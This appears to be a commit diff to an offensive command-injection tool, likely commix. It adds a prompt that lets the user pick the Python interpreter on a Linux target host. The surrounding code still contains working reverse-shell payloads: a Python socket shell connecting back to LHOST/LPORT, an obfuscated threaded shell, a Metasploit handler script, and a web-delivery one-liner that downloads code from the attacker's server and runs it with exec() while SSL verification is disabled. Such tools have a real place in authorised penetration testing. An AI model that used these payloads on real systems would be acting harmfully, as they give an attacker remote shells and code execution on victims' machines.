@@ -141,6 +141,32 @@ def set_python_working_dir():
141
141
print (settings .print_error_msg (err_msg ))
142
142
pass
143
143
144
+ """
145
+ Set up the Python interpreter on linux target host.
146
+ """
147
+ def set_python_interpreter ():
148
+ while True :
149
+ if not menu .options .batch :
150
+ question_msg = "Do you want to use '" + settings .LINUX_PYTHON_INTERPRETER
151
+ question_msg += "' as Python working interpreter on the target host? [Y/n] > "
152
+ python_interpreter = _input (settings .print_question_msg (question_msg ))
153
+ else :
154
+ python_interpreter = ""
155
+ if len (python_interpreter ) == 0 :
156
+ python_interpreter = "Y"
157
+ if python_interpreter in settings .CHOICE_YES :
158
+ break
159
+ elif python_interpreter in settings .CHOICE_NO :
160
+ question_msg = "Please provide a custom working interpreter for Python (e.g. '"
161
+ question_msg += settings .LINUX_PYTHON_INTERPRETER + "') > "
162
+ settings .LINUX_PYTHON_INTERPRETER = _input (settings .print_question_msg (question_msg ))
163
+ settings .USER_DEFINED_PYTHON_INTERPRETER = True
164
+ break
165
+ else :
166
+ err_msg = "'" + python_interpreter + "' is not a valid answer."
167
+ print (settings .print_error_msg (err_msg ))
168
+ pass
169
+
144
170
"""
145
171
check / set lhost option for reverse TCP connection
146
172
"""
@@ -323,6 +349,8 @@ def other_reverse_shells(separator):
323
349
324
350
# Python-reverse-shell
325
351
elif other_shell == '4' :
352
+ if not settings .USER_DEFINED_PYTHON_INTERPRETER :
353
+ set_python_interpreter ()
326
354
other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
327
355
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
328
356
"s.connect((\" " + settings .LHOST + "\" ," + settings .LPORT + "))%0d" \
@@ -417,10 +445,13 @@ def other_reverse_shells(separator):
417
445
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
418
446
"globals(), __import__('contextlib'))\" "
419
447
420
- if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
421
- set_python_working_dir ()
448
+ if settings .TARGET_OS == "win" :
449
+ if not settings .USER_DEFINED_PYTHON_DIR :
450
+ set_python_working_dir ()
422
451
other_shell = settings .WIN_PYTHON_DIR + data
423
452
else :
453
+ if not settings .USER_DEFINED_PYTHON_INTERPRETER :
454
+ set_python_interpreter ()
424
455
other_shell = settings .LINUX_PYTHON_INTERPRETER + data
425
456
break
426
457
@@ -458,10 +489,13 @@ def other_reverse_shells(separator):
458
489
"set lport " + str (settings .LPORT ) + "\n "
459
490
"exploit\n \n " )
460
491
461
- if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
462
- set_python_working_dir ()
492
+ if settings .TARGET_OS == "win" :
493
+ if not settings .USER_DEFINED_PYTHON_DIR :
494
+ set_python_working_dir ()
463
495
other_shell = settings .WIN_PYTHON_DIR + " -c " + data
464
496
else :
497
+ if not settings .USER_DEFINED_PYTHON_INTERPRETER :
498
+ set_python_interpreter ()
465
499
other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + "\" " + data + "\" "
466
500
msf_launch_msg (output )
467
501
except :
@@ -633,10 +667,13 @@ def other_reverse_shells(separator):
633
667
634
668
if web_delivery == '1' :
635
669
data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
636
- if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
637
- set_python_working_dir ()
670
+ if settings .TARGET_OS == "win" :
671
+ if not settings .USER_DEFINED_PYTHON_DIR :
672
+ set_python_working_dir ()
638
673
other_shell = settings .WIN_PYTHON_DIR + " -c " + data
639
674
else :
675
+ if not settings .USER_DEFINED_PYTHON_INTERPRETER :
676
+ set_python_interpreter ()
640
677
other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + "\" " + data + "\" "
641
678
msf_launch_msg (output )
642
679
break
0 commit comments